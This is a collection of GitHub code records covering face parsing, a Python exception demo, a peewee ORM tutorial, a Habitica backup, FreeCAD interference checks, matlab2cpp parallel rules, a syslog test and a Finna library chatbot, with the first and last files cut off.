torch.load(ckpt_path, map_location=\"cuda\")\n self.parsing_net.load_state_dict(ckpt[\"model\"])\n for param in self.parsing_net.parameters():\n param.requires_grad = False\n self.parsing_net.cuda()\n self.parsing_net.eval()\n del ckpt\n\n def get_face_mask(self, image):\n H, W = image.size()[2:]\n image = F.interpolate(image, (512, 512), mode='bilinear')\n mask, _, _ = self.parsing_net(image)\n mask = mask.unsqueeze(1).float()\n mask = F.interpolate(mask, (512, 512), mode='bilinear')\n return mask.repeat(1,3,1,1)\n\n\ndef inference(baseline, load_path, save_path):\n parser = FaceParser(baseline)\n \n img_paths = [os.path.join(load_path, f) for f in os.listdir(load_path) if f.endswith(\".png\") or f.endswith(\".jpg\")]\n print(f\"* Total {len(img_paths)} images\")\n\n transform = transforms.Compose([\n transforms.Resize(1024),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5]),\n ])\n\n for ip in tqdm(img_paths):\n basename = os.path.basename(ip)\n img = Image.open(ip).convert(\"RGB\")\n\n parsing_map = parser.get_face_mask((transform(img).unsqueeze(0).cuda()))\n parsing_map = parsing_map.squeeze().detach().cpu().numpy().transpose([1,2,0])\n\n cv2.imwrite(os.path.join(save_path, \"m\"+basename), parsing_map*255)\n\nif __name__ == \"__main__\":\n baseline = \"bisenet\"\n\n load_path = \"./assets\"\n save_path = \"./results\"\n os.makedirs(save_path, exist_ok=True)\n\n inference(baseline, load_path, save_path)","repo_name":"Innerverz-AI/Simple_Face_Parsing","sub_path":"assets/arxiv/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72465023944","text":"#Python的异常处理\n'''\nPython 使用try...except...进行异常处理,可以使程序不因运行错误而崩溃\n\ntry:\n \nexcept :\n \nexcept :\n \nexcept :\n \nexcept:\n \n\nelse:\n \nfinally:\n \n\n最后一个except是发生异常了,但是并不是预料之内的异常执行\n\nelse和finally语句是可选的\nelse:如果无异常产生,执行else语句;\nfinally;不论异常是否发生,finally后的子句都会执行。常用语一些收尾操作\n\n\ntry...except可以捕捉任何类型的错误\n\n常见的异常还有:\nNameError\nSyntaxError\n\n\n'''\n\ndef trydemo():\n try:\n num1,num2 = eval(input(\"Please input two numbers,separated by a comma:\"))\n result = num1/num2\n\n #除数为0异常\n except ZeroDivisionError:\n print(\"Division by zero!\")\n #段错误异常(即两数分隔没用逗号)\n except SyntaxError:\n print(\"Where is the fucking comma?...\")\n\n except:\n print(\"Something wrong in the imput\")\n\n else:\n print(\"No exceptions,the result is:\",result)\n\n finally:\n print(\"executing the final clause\")\n\n \n\ndef main():\n while True:\n trydemo()\n\n\n\nmain()\n \n","repo_name":"hanchenn/python_demos","sub_path":"Demos/pydemo4-2(exception).py","file_name":"pydemo4-2(exception).py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"71087942984","text":"# ORM система - позволяет удобно взаимодействовать с БД\n# pip intall peewee\n\n# peewee - ORM система. Не поддерживает ассинхронное программирование.\n\nfrom peewee import * # Импорт всех модулей без отдельного пространства имен\n\ndb = SqliteDatabase('example.db')\n\nclass User(Model): #Наследуем таблицу от Модели\n id = PrimaryKeyField()\n name = CharField(max_length=20)\n age = IntegerField()\n bio = TextField(null=True)\n gender = BooleanField(null=True)\n\n class Meta: # Вложенный класс\n database = db # В какой БД работаем\n db_table = 'users' # Название таблицы\n\n\nwith db:\n db.create_tables([User]) # Создаем таблицу согласно описанной модели\n\n \n# DB browser (SQLite only) и Data Grip - программы для работы с БД\n\n# 1ый способ добавления данных в таблицу\n\nuser = User(name = 'Ivan', age = 17, bio='Bio', gender = True)\nuser.save()\n\n# 2ой способ добавления данных в таблицу\n\nUser.create(name = 'Gleb', age = 16, bio='Bio', gender = True)\n\n# Для вывода данных в консоль\n\n# response = User.select() # Читаем все данные\n# print(response)\n# # Работаем, как со списком, чтобы получить данные\n# for i in response:\n# print(i.name)\n\nresponse = User.select().where(User.name == \"Ivan\").dicts() #Вывод из файла БД\nfor i in response:\n print(i)\n\n\n# Удобное взаимодействие с данными\n\nuser = User.get(name='Ivan')\nprint(user.name, user.age)\nuser.age = 24\nuser.save()\nprint(user, type(user))\n\n","repo_name":"Kolonin-Gleb/Development-tools","sub_path":"Development tools/ORM system/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"13842766478","text":"#!/usr/bin/env python3\n\nimport json\nimport gzip\nimport os\nimport pprint\nimport requests\nimport sys\nimport time\n\nuser_id = os.environ['USER_ID']\napi_token = os.environ['API_TOKEN']\n\ndef make_method(name, f):\n def new_f(path, **kwargs):\n if path.startswith('https://'):\n url = path\n else:\n url = 'https://habitica.com/api/v3/' + path.lstrip('/')\n url = url.format(**kwargs)\n print(name, url)\n\n return f(url, headers = {\n 'x-api-user': user_id,\n 'x-api-key': api_token,\n 'Content-Type': 'application/json; charset=utf-8'\n })\n return new_f\n\ndef backup(response, target):\n target = os.path.join('data', user_id, target.format(\n year = time.strftime('%Y'),\n month = time.strftime('%m'),\n day = time.strftime('%d'),\n date = time.strftime('%Y%m%d')\n ))\n print(target)\n\n # Assume json, fallback to text\n try:\n output = json.dumps(response.json()['data'], default = str, indent = 4, sort_keys = True)\n except:\n output = response.text\n\n # Guarantee directory exists\n try:\n os.makedirs(os.path.dirname(target))\n except:\n pass\n\n # Write uncompressed version (when debugging)\n if '--debug' in sys.argv:\n with open(target, 'w') as fout:\n fout.write(output)\n\n # Write compressed version\n with gzip.open(target + '.gz', 'wb') as fout:\n fout.write(output.encode('utf-8'))\n\napi_get = make_method('GET', requests.get)\n\nbackup(api_get('https://habitica.com/export/history.csv'), '{year}/{date}/history.{date}.csv')\nbackup(api_get('/user'), '{year}/{date}/user.{date}.json')\nbackup(api_get('/tasks/user'), '{year}/{date}/tasks.{date}.json')\nbackup(api_get('/groups/party'), '{year}/{date}/party.{date}.json')\n","repo_name":"jpverkamp/backup","sub_path":"habitica/habitica-backup.py","file_name":"habitica-backup.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"38037955166","text":"from assembly2.core import *\nimport time, traceback\nfrom FreeCAD import Base\n\nmoduleVars = {}\n\nclass CheckAssemblyCommand:\n def Activated(self):\n debugPrint(2, 'Conducting Assembly Part Overlap Check for: %s' % FreeCAD.ActiveDocument.Label)\n objects = [obj for obj in FreeCAD.ActiveDocument.Objects if hasattr(obj, 'Shape') and obj.Name != 'muxedAssembly']\n n = len(objects)\n no_of_checks = 0.5*(n-1)*(n)\n moduleVars['progressDialog'] = QtGui.QProgressDialog(\"Checking assembly\", \"Cancel\", 0, no_of_checks)#, QtGui.QApplication.activeWindow()) with parent cancel does not work for some reason\n p = moduleVars['progressDialog']\n p.setWindowModality(QtCore.Qt.WindowModal)\n p.forceShow()\n count = 0\n t_start = time.time()\n overlapMsgs = []\n errorMsgs = []\n for i in range(0, len(objects)-1):\n for j in range(i+1, len(objects)):\n if not p.wasCanceled():\n msg = 'overlap check between: \"%s\" & \"%s\"' % (objects[i].Label, objects[j].Label)\n debugPrint(3, ' ' + msg)\n p.setLabelText(msg)\n p.setValue(count)\n if boundBoxesOverlap(objects[i].Shape, objects[j].Shape, tol = 10**-5 ): #first do a rough check, to speed up checks, on the test case used, time reduce from 11s ->10s ...\n try:\n overlap = objects[i].Shape.common( objects[j].Shape )\n overlap_ratio = overlap.Volume / min( objects[j].Shape.Volume, objects[i].Shape.Volume )\n if overlap.Volume > 0:\n overlapMsgs.append('%s & %s : %3.3f%%*' % (objects[i].Label, objects[j].Label, 100*overlap_ratio ))\n except: #BRep_API: command not done\n FreeCAD.Console.PrintError('Unable to perform %s:\\n' % msg)\n errorMsgs.append('Unable to perform %s:\\n' % msg)\n FreeCAD.Console.PrintError(traceback.format_exc())\n else:\n debugPrint(3, ' skipping check based on boundBoxesOverlap check')\n count = count + 1\n else:\n break\n debugPrint(3, 'ProgressDialog canceled %s' % p.wasCanceled())\n if not p.wasCanceled():\n p.setValue(count)\n debugPrint(2, 'Assembly overlap check duration: %3.1fs' % (time.time() - t_start) )\n errorMsg = '\\n\\nWARNING: %i Check(s) could not be conducted:\\n - %s' % (len(errorMsgs), \" \\n - \".join(errorMsgs)) if len(errorMsgs) > 0 else ''\n #p.setValue(no_of_checks)\n if len(overlapMsgs) > 0:\n #flags |= QtGui.QMessageBox.Ignore\n message = \"Overlap detected between:\\n - %s\" % \" \\n - \".join(overlapMsgs)\n message = message + '\\n\\n*overlap.Volume / min( shape1.Volume, shape2.Volume )'\n FreeCAD.Console.PrintError( message + '\\n' )\n response = QtGui.QMessageBox.critical(QtGui.QApplication.activeWindow(), \"Assembly Check\", message + errorMsg)#, flags)\n else:\n QtGui.QMessageBox.information( QtGui.QApplication.activeWindow(), \"Assembly Check\", \"Passed:\\n - No overlap/interferance dectected.\" + errorMsg)\n def GetResources(self):\n msg = 'Check assembly for part overlap/interferance'\n return {\n 'Pixmap' : ':/assembly2/icons/checkAssembly.svg',\n 'MenuText': msg,\n 'ToolTip': msg\n }\nFreeCADGui.addCommand('assembly2_checkAssembly', CheckAssemblyCommand())\n\n\ndef boundBoxesOverlap( shape1, shape2, tol ):\n try:\n bb1 = shape1.BoundBox\n box1 = Part.makeBox( bb1.XLength, bb1.YLength, bb1.ZLength, Base.Vector( bb1.XMin, bb1.YMin, bb1.ZMin ))\n bb2 = shape2.BoundBox\n box2 = Part.makeBox( bb2.XLength, bb2.YLength, bb2.ZLength, Base.Vector( bb2.XMin, bb2.YMin, bb2.ZMin ))\n overlap = box1.common(box2)\n except:\n return True\n overlap_ratio = overlap.Volume / min( box1.Volume, box2.Volume )\n debugPrint(3, ' boundBoxesOverlap:overlap_ratio %e' % overlap_ratio)\n return overlap_ratio > tol\n","repo_name":"hamish2014/FreeCAD_assembly2","sub_path":"assembly2/utils/checkAssembly.py","file_name":"checkAssembly.py","file_ext":"py","file_size_in_byte":4299,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"81"} +{"seq_id":"22594466191","text":"\ndef variable_lists(node):\n nodes = node.flatten(ordered=False, reverse=False, inverse=False)\n\n #store some variable names, in private or shared\n assigned_var = []\n type_info = []\n\n #get iterator name\n iterator_name = node[0].name\n for n in nodes:\n if n.cls == \"Assign\":\n #index = n.parent.children.index(n)\n #lhs var of the assignment\n if n[0].cls == \"Var\":\n if n[0].name not in assigned_var:\n assigned_var.append(n[0].name)\n type_info.append(n[0].type)\n\n\n \"\"\"\n if n[0].cls == \"Set\":\n var_name = n[0].name\n\n #subnodes to Set\n #index = n.parent.children.index(n)\n #subnodes = n.parent[index].flatten(ordered=False, reverse=False, inverse=False)\n subnodes = n[0].flatten(ordered=False, reverse=False, inverse=False)\n\n for subnode in subnodes[1:]:\n if subnode.name and subnode.name == iterator_name:\n shared_variable.append(var_name)\n #print(subnode.name)\n \"\"\"\n\n #multiple return from function are assigned to vars\n if n.cls == \"Assigns\": #and n.backend == \"func_returns\":\n for sub_node in n:\n if sub_node.cls == \"Var\":\n if sub_node.name not in assigned_var:\n assigned_var.append(sub_node.name)\n type_info.append(sub_node.type)\n\n\n #get the iteration variable in the for loop\n if n.cls == \"Var\" and n.parent.cls == \"For\":\n if n.name not in assigned_var:\n assigned_var.append(n.name)\n type_info.append(n.type)\n\n #shared_variable = list(set(shared_variable))\n #print(shared_variable)\n\n #for n in nodes:\n # if (n.cls == \"Var\" or n.cls == \"Get\") and n.backend != \"reserved\" and n.name \\\n # not in [shared_variable, node[0].name]:\n # private_variable.append(n.name)\n\n #private_variable = list(set(private_variable))\n\n #return private_variable, shared_variable, assigned_var, type_info\n return assigned_var, type_info\n\ndef omp(node, start, stop, step):\n assigned_var, type_info = variable_lists(node)\n\n #out = \"#pragma omp parallel for\\nfor (%(0)s=\" + start + \\\n # \"; %(0)s<=\" + stop + \"; %(0)s\"\n\n temp_str = \"\"\n if len(assigned_var) > 1:\n temp_str = \", \".join(assigned_var[1:])\n temp_str = \"firstprivate(\" + temp_str + \")\"\n\n out = \"#pragma omp parallel for \" + temp_str + \"\\nfor (%(0)s=\" + start + \\\n \"; %(0)s<=\" + stop + \"; %(0)s\"\n\n return out\n\ndef tbb(node, start, stop, step):\n assigned_var, type_info = variable_lists(node)\n\n any_vec_or_mat = False\n for var, type in zip(assigned_var, type_info):\n if type not in [\"uword\", \"int\", \"float\", \"double\"]:\n any_vec_or_mat = True\n\n #tbb.counter += 1\n out = \"{\\n\"\n\n #str_val = str(tbb.counter)\n if any_vec_or_mat:\n declare_struct = \"struct tbb_var_struct\" + \"\\n{\"\n\n for var, type in zip(assigned_var, type_info):\n if type not in [\"uword\", \"int\", \"float\", \"double\"]:\n declare_struct += \"\\n\" + type + \" \" + var + \";\"\n\n declare_struct += \"\\n} \" + \";\\n\"\n declare_struct += \"tbb::combinable tbb_per_thread_data\" + \" ;\\n\"\n\n out += declare_struct\n\n #for var, type in zip(assigned_var, type_info):\n # out += \"tbb::enumerable_thread_specific<\" + type + \"> \" + \"_\" + var + \" = \" + var + \" ;\\n\"\n\n out += \"tbb::parallel_for(tbb::blocked_range(\" + start + \", \" + stop + \"+1\" + \\\n \"),\\n\" + \"[&]\" + \"(const tbb::blocked_range& _range) \\n{\\n\"\n\n #assign to local L, x, y\n for var, type in zip(assigned_var, type_info):\n if type in [\"uword\", \"int\", \"float\", \"double\"]:\n out += type + \" \" + var + \";\\n\"\n\n if any_vec_or_mat:\n out += \"struct tbb_var_struct\" + \" tbb_struct_vars = tbb_per_thread_data\" + \".local() ;\\n\"\n\n for var, type in zip(assigned_var, type_info):\n if type not in [\"uword\", \"int\", \"float\", \"double\"]:\n out += type + \"& \" + var + \" = \" + \"tbb_struct_vars.\" + var + \";\\n\"\n\n #for var, type in zip(assigned_var, type_info):\n # out += type + \"& \" + var + \" = _\" + var + \".local() ;\\n\"\n\n out += \"for (\" + \"%(0)s = _range.begin(); %(0)s != _range.end(); %(0)s\"\n\n # special case for '+= 1'\n if step == \"1\":\n out += \"++\"\n else:\n out += \"+=\" + step\n\n out += \")\\n{\\n%(2)s\\n}\"\n out += \"\\n}\\n);\\n\"\n out += \"}\"\n return out\n\n#tbb.counter = 0\n","repo_name":"jonathf/matlab2cpp","sub_path":"src/matlab2cpp/rules/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","stars":178,"dataset":"github-code","pt":"81"} +{"seq_id":"6515981023","text":"\"\"\"project URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf.urls import url\nfrom diet.views import StartPageView, UserLoginView, UserLogoutView, NewUserView, AddProductView, UpdateProductView, \\\n ProductsView, ProductView\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n url(r'^$', StartPageView.as_view(), name='main'),\n url(r'^login$', UserLoginView.as_view(), name='login'),\n url(r'^logout$', UserLogoutView.as_view(), name='logout'),\n url(r'^add_user$', NewUserView.as_view(), name='register'),\n url(r'^add_product$', AddProductView.as_view(), name='add-product'),\n url(r'^update_product/(?P\\d+)/$', UpdateProductView.as_view(), name='update-product'),\n url(r'^products', ProductsView.as_view(), name=\"products\"),\n url(r'^product/(?P(\\d)+)', ProductView.as_view(), name='product'),\n]","repo_name":"Stanisz15/meal_calorie","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23132646505","text":"# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\nclass Charts:\n \n def __init__(self, *args):\n self.ds = args[0]\n self.labelDic = args[1]\n \n def AgeDistribuition(self):\n #Distribution by Age\n plt.figure()\n sns.distplot(self.ds['age'], bins=15)\n plt.title('Distribuition by age')\n plt.xlabel('Age')\n \n def checkImbalance(self, labelName, title):\n #Balance between treated and untreated\n labels = self.labelDic['Label_' + labelName]\n graph = sns.countplot(x=labelName, data=self.ds)\n graph.set_xticklabels(labels)\n plt.title(title)\n \n def mentalHealth(self, labelName, *args):\n #General method for statistic graphs\n graph = sns.catplot(x=labelName, y='treatment', hue='gender',\n data=self.ds, kind='bar', ci=None,\n aspect=1, legend_out = True)\n graph.set_xticklabels(self.labelDic['Label_'+labelName])\n \n plt.title('Mental health condition')\n plt.ylabel('Probability')\n if args:\n plt.xlabel(args[0])\n else:\n plt.xlabel(labelName.replace('_',' ').title())\n for t, l in zip(graph._legend.texts, self.labelDic['Label_gender']): t.set_text(l.title())\n graph.fig.subplots_adjust(top=0.8,right=0.8)\n plt.show()\n \n def evaluationModels(self, models):\n s = pd.Series(models)\n s = s.sort_values(ascending=False)\n #Colors\n ax = s.plot(kind='bar') \n for p in ax.patches:\n ax.annotate(str(round(p.get_height(),2)), (p.get_x() * 1.005, p.get_height() * 1.005))\n plt.ylim([70.0, 90.0])\n plt.xlabel('Algorithm')\n plt.ylabel('Percentage')\n plt.title('Success of model')\n plt.show()","repo_name":"morco6/The-patient-needs-mental-therapy","sub_path":"ChartsAndGraphs/Chart.py","file_name":"Chart.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12089451377","text":"# coding: utf-8\n\n\"\"\"python直接删除元素\"\"\"\n\n# remove: 删除单个元素,删除首个符合条件的元素,按值删除\nstr = [1,2,3,4,3,5,6,2]\nstr.remove(3)\nprint(str) # [1, 2, 4, 3, 5, 6, 2]\n\n# pop: 删除单个或多个元素,按位删除(根据索引删除), 删除时会返回被删除的元素\nstr_pop= [1,2,3,4,3,5,6,2]\nstr_pop.pop(3)\nprint(str_pop) # [1, 2, 3, 3, 5, 6, 2]\n\n# del: 它是根据索引删除\nstr_del= [1,2,3,4,3,5,6,2]\ndel str_del[1]\nprint(str_del) # [1, 3, 4, 3, 5, 6, 2]\nprint(\"========================\")\n\n\"\"\"\n列表遍历过程中删除元素, 会造成不可预知错误\n\"\"\"\n# 方法一: 列表推导式\n# 删除 <4\nlist1 = [1, 2, 3, 4, 5, 6]\nnew_list1 = [i for i in list1 if i > 4]\nprint(new_list1)\n\n# 方法二: filter + lambda\n# 删除 <4\nlist2 = [1, 2, 3, 4, 5, 6]\nnew_list2 = filter(lambda i: i > 4, list2)\nprint(list(new_list2))\n\n# 方法三: 倒序遍历\n# 删除 >4\nlist3 = [1, 2, 3, 4, 5, 6]\nfor i in range(len(list3)-1, -1, -1):\n if list3[i] > 4:\n list3.remove(list3[i])\nprint(list3)\n\n# 方法四\n# 删除 >4\nlist4 = [1, 2, 3, 4, 5, 6]\nnew_list4 = []\nfor i in list4:\n if i <= 4:\n new_list4.append(i)\nprint(new_list4)\n","repo_name":"lwaxx/small_example","sub_path":"Python/列表删除元素.py","file_name":"列表删除元素.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"17958468998","text":"from tkinter import Tk, Label\nfrom PIL import Image, ImageTk\n\nroot = Tk()\n\nfile = './image.jpg'\n\nimage = Image.open(file)\n\nzoom = 1.8\n\n#multiple image size by zoom\npixels_x, pixels_y = (600, 500)\n\nimg = ImageTk.PhotoImage(image.resize((pixels_x, pixels_y))) \nlabel = Label(root, image=img)\nlabel.image = img\nlabel.pack()\n\nroot.mainloop()","repo_name":"nawaazwill11/figa","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74810223625","text":"import logging\nimport pytest\n\nfrom tests.common.helpers.assertions import pytest_assert\nfrom tests.common.utilities import wait_until\n\nlogger = logging.getLogger(__name__)\n\npytestmark = [\n pytest.mark.topology(\"any\")\n]\n\nSYSLOG_STARTUP_TIMEOUT = 30\nSYSLOG_STARTUP_POLLING_INTERVAL = 3\n\nSYSLOG_MESSAGE_TEST_TIMEOUT = 10\n\n\ndef config_syslog_srv(ptfhost):\n logger.info(\"Configuring the syslog server\")\n\n # Add the imudp configuration if not present\n ptfhost.shell(\"sed -i -e '/^input(type/d' -e '/^module/d' /etc/rsyslog.conf; sed -i -e '$amodule(load=\\\"imudp\\\")' -e '$ainput(type=\\\"imudp\\\" port=\\\"514\\\")' /etc/rsyslog.conf\")\n\n # Restart Syslog Daemon\n logger.info(\"Restarting rsyslog service\")\n ptfhost.shell(\"service rsyslog stop && rm -rf /var/log/syslog && touch /var/log/syslog && service rsyslog restart\")\n\n # Wait a little bit for service to start\n rsyslog_running_msg=\"rsyslogd is running\"\n def _is_syslog_running():\n result = ptfhost.shell(\"service rsyslog status | grep \\\"{}\\\"\".format(rsyslog_running_msg))[\"stdout\"]\n return rsyslog_running_msg in result\n\n logger.debug(\"Waiting for rsyslog server to restart\")\n wait_until(SYSLOG_STARTUP_TIMEOUT, SYSLOG_STARTUP_POLLING_INTERVAL, _is_syslog_running)\n logger.debug(\"rsyslog server restarted\")\n\n\n@pytest.fixture(scope=\"module\")\ndef config_dut(testbed, duthost):\n logger.info(\"Configuring the DUT\")\n local_syslog_srv_ip = testbed[\"ptf_ip\"]\n logger.info(\"test_syslog_srv_ip %s\", local_syslog_srv_ip)\n\n # Add Rsyslog destination for testing\n duthost.shell(\"sudo config syslog add {}\".format(local_syslog_srv_ip))\n logger.debug(\"Added new rsyslog server IP {}\".format(local_syslog_srv_ip))\n\n yield\n\n # Remove the syslog configuration\n duthost.shell(\"sudo config syslog del {}\".format(local_syslog_srv_ip))\n\n\ndef test_syslog(duthost, ptfhost, config_dut):\n logger.info(\"Starting syslog tests\")\n test_message = \"Basic Test Message\"\n\n logger.debug(\"Configuring rsyslog server\")\n config_syslog_srv(ptfhost)\n\n logger.debug(\"Generating log message from DUT\")\n # Generate a syslog from the DUT\n duthost.shell(\"logger --priority INFO {}\".format(test_message))\n\n # Check syslog messages for the test message\n def _check_syslog():\n result = ptfhost.shell(\"grep {} /var/log/syslog | grep -v ansible | grep -c \\\"{}\\\"\"\n .format(duthost.hostname, test_message))[\"stdout\"]\n return result != \"0\"\n\n pytest_assert(wait_until(SYSLOG_MESSAGE_TEST_TIMEOUT, 1, _check_syslog),\n \"Test syslog message not seen on the server after {}s\".format(SYSLOG_MESSAGE_TEST_TIMEOUT))\n","repo_name":"ANISH-GOTTAPU/sonic-mgmt-anish","sub_path":"tests/syslog/test_syslog.py","file_name":"test_syslog.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9697021865","text":"import util\nimport re\nfrom botocore.vendored import requests\nimport author_search as AS\nimport signal\n\n\n\"\"\"This is the URL for the Finna API with a needed header for proper results\"\"\"\n__url = 'https://api.finna.fi/api/v1/'\n__headers = {'Accept': 'application/json'}\njson_dir = './api_testing/data_files/'\n\n\n\"\"\"\n AWS INPUT(SEARCH TERM)---->subject_info()---->parse_subject()-->OUTPUT TO AWS\n A A | | A \n | / | | /\n | / | V /\n | author_search()| find_info()\n | A | | A\n | | | | |\n | | | V |\n AWS INPUT(EXTRA INFO)--->extra_info() | locate_book()\n V\n AWS INPUT(AUTHOR INFO)--->find_info_author()---->parse_author()-->OUTPUT\n\"\"\"\n\n\n# Author intent use this.\ndef find_info_author(intent):\n text = intent['inputTranscript'].lower()\n utterances = AS.load_file('author_utterances.txt')\n to_drop = 0\n\n # this takes utterances off if it will be found in author_utterances.txt\n for line in utterances:\n if text.startswith(line):\n to_drop = len(line)\n break\n\n author_text = text[to_drop:].strip()\n\n # this checks if author exists\n author = AS.search(author_text, False)\n request = lookfor(term=author)['json']\n\n return parse_author(request, {'author': author})\n\n\n# parse_author find author's books\ndef parse_author(request, session_attributes):\n \"\"\"\n :param request: JSON data from the Finna API\n :param author: Author term of the current session\n :param session_attributes: session attributes for current session if user\n has given some\n :return: Response to AWS server in JSON format\n \"\"\"\n\n # if author was not found\n author = session_attributes.get('author')\n if not author:\n message = \"I'm sorry. I couldn't catch the author. Please try again.\"\n return util.elicit_intent({'author': author}, message)\n\n result_count = request['resultCount']\n\n # find all titles if title does not already exist in list. And sort them.\n real_count = 0\n books_written_by = []\n\n for record in request['records']:\n authors = record.get('nonPresenterAuthors')\n has_written = False\n if authors:\n for a in authors:\n if a.get('name').lower() == author:\n has_written = True\n break\n if has_written:\n title = record.get('title')\n if title:\n if title not in books_written_by:\n books_written_by.append(title)\n real_count += 1\n # if books list is empty\n if not len(books_written_by):\n message = \"I'm sorry, I didn't found any books written ny \" + author\n return util.elicit_intent({}, message)\n\n # answer will be at most three books\n find = sorted(books_written_by)\n print(str(find))\n if len(find) > 3:\n find = find[:3]\n find.append(\"others\")\n\n # only one book was found\n if result_count == 1:\n message = author + \" has written a book \" + find[0]\n # many books was found\n else:\n message = author + \" has written books \" + util.make_string_list(find)\n return util.elicit_intent({'author': author}, message)\n\n\ndef locate_book(info):\n \"\"\"\n Parses the record's data and constructs a message from the data. Wanted\n info is given as a parameter in JSON format. Default info is data\n about the location(library) of the book.\n :param info: Data of wanted info in JSON format\n :return: Message constructed from the data\n \"\"\"\n ret = []\n output = \"I'm sorry, there was an problem with this book in the \" \\\n \"database\"\n for elem in info:\n if re.compile(\"1/AALTO/([a-z])*/\").match(elem['value']):\n ret.append(elem['translated'])\n output = \" is located in \"\n elif re.compile(\"0/AALTO/([a-z])*\").match(elem['value']):\n ret.append(elem['translated'])\n output = \" is located in \"\n if len(ret) == 2:\n ret = ret[1:]\n return output + util.make_string_list(ret)\n\n\ndef find_info(book_id, field='buildings'):\n \"\"\"\n Finds info from some book defined by book_id and constructs an output\n message. Default information searched is the building(and only\n information which can be searched atm).\n :param book_id: Id of the book\n :param field: Field which teh user is looking for\n :return: Response to AWS server in JSON format\n \"\"\"\n request = record(book_id, field=['id', 'shortTitle', field])['json']\n if request['status'] == 'OK':\n message = locate_book(request['records'][0]['buildings'])\n title = request['records'][0]['shortTitle']\n message = \"\".join([title, message])\n return util.close({'book_id': book_id, 'author': None}, 'Fulfilled',\n message)\n else:\n return util.close({'author': None}, 'Fulfilled', \"Something went wrong\")\n\n\ndef parse_subject(request, subject, session_attributes={}):\n \"\"\"\n :param request: JSON data from the Finna API\n :param subject: Subject or search term of the current session\n :param session_attributes: session attributes for current session if user\n has given some\n :return: Response to AWS server in JSON format\n \"\"\"\n author = session_attributes.get('author')\n if subject is \"\":\n if author:\n return parse_author(request, {'author': author})\n return util.elicit_intent(session_attributes, \"I'm sorry. I was not \"\n \"able to catch what book\"\n \" you wanted to find. \"\n \"Could you please repeat.\"\n )\n\n if request['status'] == 'OK':\n result_count = request['resultCount']\n\n # no books was found with the subject\n if result_count == 0: \n message = \"Oh I'm so sorry, no books was found with search term: \"\\\n + subject\n if author:\n message += \" written by \" + str(author)\n return util.close({'subject': subject, 'author': author},\n 'Fulfilled', message)\n\n elif result_count == 1:\n return find_info(request['records'][0]['id'])\n # if less than five books was found, will be checked all different\n # locations in books way that there is not same locations twice.\n elif result_count < 5:\n real_count = 0\n find_locations = []\n while real_count < result_count:\n buildings = request['records'][real_count]['buildings']\n for layer in buildings:\n if re.compile(\"1/AALTO/([a-z])*/\").match(layer['value']):\n if layer['translated'] not in find_locations:\n find_locations.append(layer['translated'])\n real_count += 1\n\n # if author was also found.\n if author:\n message = subject + \" books by \" + str(author) \\\n + \" can be found in \" + util.make_string_list(find_locations)\n else:\n message = subject + \" books can be found in \" + \\\n util.make_string_list(find_locations)\n return util.close({'subject': subject, 'author': author},\n 'Fulfilled', message)\n # there is more than five results, this ask more information from user\n else:\n if not author:\n message = \"I found \" + str(result_count) + \" books with term \" \\\n + subject + \". Please specify an author or a year, \" \\\n \" so I can narrow down the search.\"\n else:\n message = \"I found \" + str(result_count) + \" books with \" \\\n + subject + \" by author \" + author + \". Can you \" \\\n \"give the publication date for example to narrow \" \\\n \"down the search.\"\n return util.elicit_intent({'subject': subject, 'author': author},\n message)\n else:\n return util.close({'author': None}, 'Fulfilled', \"Something went wrong\")\n\n\ndef subject_info(intent, extra_info=[]):\n \"\"\"\n This function parses the input from AWS and finds the subject(search\n term) from the intent's inputTranscript.\n :param intent: the input intent\n :param extra_info: Given parameters to filter the data\n :return: Response to AWS server in JSON format\n \"\"\"\n\n text = intent['inputTranscript'].lower()\n utterances = AS.load_file('sample_utterances.txt')\n\n # add \"book\" and \"books\" to every utterance\n for line in list(utterances):\n utterances.insert(0, line + \" book\")\n utterances.insert(0, line + \" books\")\n\n # tells how many characters needs to be dropped before the subject starts\n to_drop = 0\n\n for line in utterances:\n if text.startswith(line):\n to_drop = len(line)\n break\n\n # drops the characters and makes a list from the strings that are left\n text = text[to_drop:].strip()\n text_list = text.split(' ', len(text))\n\n subject_list = []\n keywords = [\"books\", \"book\", \"by\", \"published\", \"written\"]\n keyword = \"\"\n\n # Find out when the book 